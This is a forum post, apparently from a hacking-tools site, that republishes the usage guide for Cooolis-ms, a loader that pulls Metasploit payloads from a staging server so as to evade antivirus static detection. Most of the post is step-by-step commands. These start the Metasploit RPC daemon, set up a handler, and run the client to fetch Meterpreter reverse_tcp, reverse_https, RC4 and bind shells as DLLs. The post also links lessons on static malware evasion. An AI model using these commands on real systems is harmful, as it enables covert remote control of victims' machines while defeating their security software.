# Cooolis-ms | A Server That Supports The Metasploit Framework RPC

**URL:** <https://onehack.st/t/cooolis-ms-a-server-that-supports-the-metasploit-framework-rpc/120913>\
**Category:** Tools & Scripts\
**Tags:** tools, programming\
**Created:** [September 30, 2020, 12:01pm UTC](https://onehack.st/t/cooolis-ms-a-server-that-supports-the-metasploit-framework-rpc/120913 "2020-09-30T12:01:43Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [September 30, 2020, 12:01pm UTC](https://onehack.st/t/cooolis-ms-a-server-that-supports-the-metasploit-framework-rpc/120913/1 "2020-09-30T12:01:43Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/2/7/27e5a7fc2f875062c192af24316196b2624d6dc2.png)

Cooolis-ms is a server that supports Metasploit Framework RPC. It is used to work for Shellcode and PE loader, bypassing the static detection of anti-virus software to a certain extent, and allows the Cooolis-ms server to perform with the Metasploit server separate.

Loader execution process:

1. connect to Cooolis-Server
2. Cooolis-Server connects to Metasploit RPC server
3. retrieve the payload and send it back to the loader

Core technologies:

- [静态恶意代码逃逸（第六课）](https://payloads.online/archivers/2020-01-02/1)

**Advantages of the project**

- small volume (\<600KB)
- Support all Metasploit Payload
- Simple parameters
- Single file
- Support separation

**You can refer to here and write your own good projects**

- [静态恶意代码逃逸（第一课）](https://payloads.online/archivers/2019-11-10/1)
- [静态恶意代码逃逸（第二课）](https://payloads.online/archivers/2019-11-10/2)
- [静态恶意代码逃逸（第三课）](https://payloads.online/archivers/2019-11-10/3)
- [静态恶意代码逃逸（第四课）](https://payloads.online/archivers/2019-11-10/4)
- [静态恶意代码逃逸（第五课）](https://payloads.online/archivers/2019-11-10/5)
- [静态恶意代码逃逸（第六课）](https://payloads.online/archivers/2020-01-02/1)

**How to install**

**Choice 1 \> Docker deployment (recommend)**

Youtube:

```auto
$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git$ cd Cooolis-ms/Docker$ docker-compose up -d

```

Default listening port:8899

**Choice 2 \> Source code deployment**

```auto
$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git$ cd Cooolis-ms$ pip3 install -r requirements.txt$ python3 server.py -h

```

**How to use**

**If you are deploying with Docker, please start directly from the third step.**

Assuming this is my VPS: 10.20.56.41

**First step, start Metasploit RPC server**

**Start Metasploit RPC server:**

```auto
$ msfrpcd -U msf -P msf -u /api/1.0/ -a 127.0.0.1

```

 ![image](https://onehack.st/uploads/default/original/3X/b/6/b6f7fcd22119f9e61616b7b101bc04a481cd2785.png)

**Second step, start the Cooolis-ms server**

Make it connect to RPC and listen to a port for sending payload:

```auto
$ python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 8899 -S 10.20.56.41

```

![image](https://onehack.st/uploads/default/original/3X/1/c/1cd60471ed6c4954a054cfe95e1e53b001cc2ce0.png)

**Third step, configure Metasploit listener**

```auto
msf5 > use exploit/multi/handlermsf5 > set payload windows/meterpreter/reverse_tcpmsf5 > set LHOST 10.20.56.41msf5 > set LPORT 8876msf5 > exploit -j

```

 ![image](https://onehack.st/uploads/default/original/3X/b/c/bca50ec83a60aa05be9ffee73a7e33bef1941a1f.png)

**Fourth step, start the Cooolis-ms client**

```auto
Cooolis-ms.exe -p windows/meterpreter/reverse_tcp -o LHOST=10.20.56.41,LPORT=8876,Format=dll -H 10.20.56.41 -P 8899

```

 ![image](https://onehack.st/uploads/default/original/3X/d/1/d1490c54fe7e8f570df16866ad2433b28ac2fd1e.png)

Q&A : [Does it support RC4 encrypted Payload?](https://github.com/Rvn0xsy/Cooolis-ms/issues/6)

- windows/meterpreter/reverse\_tcp\_rc4：

```auto
Cooolis-ms.exe -p windows/meterpreter/reverse_tcp_rc4 -o LHOST=10.20.56.41,LPORT=8876,RC4PASSWORD=rc4_password,Format=dll -H 10.20.56.41 -P 8899

```

- windows/meterpreter\_reverse\_https

```auto
Cooolis-ms.exe -p windows/meterpreter_reverse_https -o LHOST=10.20.56.41,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899

```

- windows/meterpreter/bind\_tcp\_rc4

```auto
Cooolis-ms.exe -p windows/meterpreter/bind_tcp_rc4 -o RHOST=10.20.56.11,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899

```

- Other… self-play

**Notice：**

1. The `-o` parameter of Cooolis-ms.exe should correspond to the msf configuration.
2. Since this project relies on the open source project [MemoryModule](https://github.com/fancycode/MemoryModule), it can only support PAYLOAD in DLL format. Need to add `Format=dll` after the -o parameter.

## GitHub:

> **[GitHub - Rvn0xsy/Cooolis-ms: Cooolis-ms是一个包含了Metasploit Payload Loader、Cobalt...](https://github.com/Rvn0xsy/Cooolis-ms)**
>
> Cooolis-ms是一个包含了Metasploit Payload Loader、Cobalt Strike External C2 Loader、Reflective DLL injection的代码执行工具，它的定位在于能够在静态查杀上规避一些我们将要执行且含有特征的代码，帮助红队人员更方便快捷的从Web容器环境切换到C2环境进一步进行工作。